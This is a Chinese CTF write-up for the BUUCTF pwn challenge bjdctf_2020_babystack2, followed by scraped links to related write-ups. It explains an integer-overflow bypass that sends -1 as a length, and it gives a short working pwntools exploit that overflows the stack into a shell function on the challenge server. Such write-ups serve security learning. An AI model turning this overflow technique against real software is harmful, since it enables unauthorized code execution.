[BUUCTF-pwn]——bjdctf_2020_babystack2

  • 题目地址: https://buuoj.cn/challenges#bjdctf_2020_babystack2

先checksec一下

在IDA中查看一下,注意想要栈溢出,首先需要nbytes足够大。size_t类型在标准C语言库中,是unsigned int类型, 64位 long unsigned int。
而%d 是按照int类型读取的,我们读入-1。其实就相当于一个很大的数字,但是可以绕过检查。具体可以了解下整型溢出

exploit

from pwn import *
p = remote("node3.buuoj.cn",25718)
shell_addr = 0x0400726
p.sendlineafter('[+]Please input the length of your name:\n','-1')
p.recv()
payload = '\x39'*(0x10 + 0x8) + p64(shell_addr)
p.send(payload)
p.interactive()

[BUUCTF-pwn]——bjdctf_2020_babystack2相关推荐

  1. BUUCTF(pwn)bjdctf_2020_babystack2

    这是一道整形溢出的题目 from pwn import * p = remote("node3.buuoj.cn",28786) flag=0x400726 p.sendlinea ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  4. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. 【转】 ubuntu12.04更新源
  2. 《Head First Java》的思考总结:第三篇
  3. 特质波动率python
  4. 【javascript】checkbox——类似邮箱全选功能
  5. 从C#到TypeScript - Generator
  6. C语言fscanf和fprintf函数的用法详解
  7. [学习总结]6、Android异步消息处理机制完全解析,带你从源码的角度彻底理解
  8. 计算机视觉 AI 工具集 OpenVINO™,是你心目中的深度学习框架 Top1 吗?
  9. 双步位移求解特征值matlab,数值分析——带双步位移的QR分解求特征值算法
  10. html表格 超链接无效,excel表格超链接失效的解决方法
  11. 【Oracle】建立关联三个表的视图
  12. 机器人设计必备的软件有哪些
  13. 可编辑PDF使用pdfplumber无法抽取出文本和表格
  14. 解决Google Chrome浏览器字体模糊的问题
  15. 3D和VR有关概念及原理整理;3D眼镜,3D视频,VR视频等
  16. azure云上 在线将oracle单实例扩展成oracle dataguard高可用集群的详细过程
  17. 爱我所爱,行我所行,听从我心,无问西东
  18. adb命令将应用安装为系统应用
  19. css flex布局超长自动换行
  20. 毕业设计 基于大数据的共享单车数据分析与可视化

热门文章

  1. 究竟什么能使得生活变得圆满?
  2. 设置DataGrid自动生成列的宽度
  3. Python常用的几种去重方式
  4. Python之字典类型数据常见操作及排序
  5. 2020年第十一届蓝桥杯 - 省赛 - C/C++研究生组 - F.成绩分析
  6. 2014/School_C_C++_A/5/勾股定理
  7. 1480. Running Sum of 1d Array 一维数组的动态和
  8. BASIC-7 特殊的数字
  9. 【Linux】一步一步学Linux——od命令(266)
  10. Android开发中的多线程编程技术